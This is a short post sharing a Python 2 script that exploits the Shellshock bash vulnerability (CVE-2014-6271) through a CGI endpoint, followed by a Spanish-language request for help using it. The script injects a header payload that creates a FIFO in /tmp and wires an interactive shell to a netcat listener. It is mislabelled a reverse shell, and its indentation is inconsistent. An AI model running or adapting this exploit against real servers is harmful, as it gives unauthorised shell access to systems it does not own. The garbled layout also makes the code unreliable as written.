CVE-2014-6271 cgi-bin reverse shell

cve-2014-6271.py

# CVE-2014-6271 cgi-bin reverse shell
# Original: http://pastebin.com/raw.php?i=166f8Rjx
  
import httplib,urllib,sys
  if (len(sys.argv)<3):
    print "Usage: %s <host> <vulnerable CGI>" % sys.argv[0]
    print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]
  exit(0)
  
conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -c '/bin/rm -f /tmp/f; /usr/bin/mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f'"
  
headers = {"Content-type": "application/x-www-form-urlencoded","test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

hola me pueden informar como se utiliza este codigo para esa vulnerabilidad gracias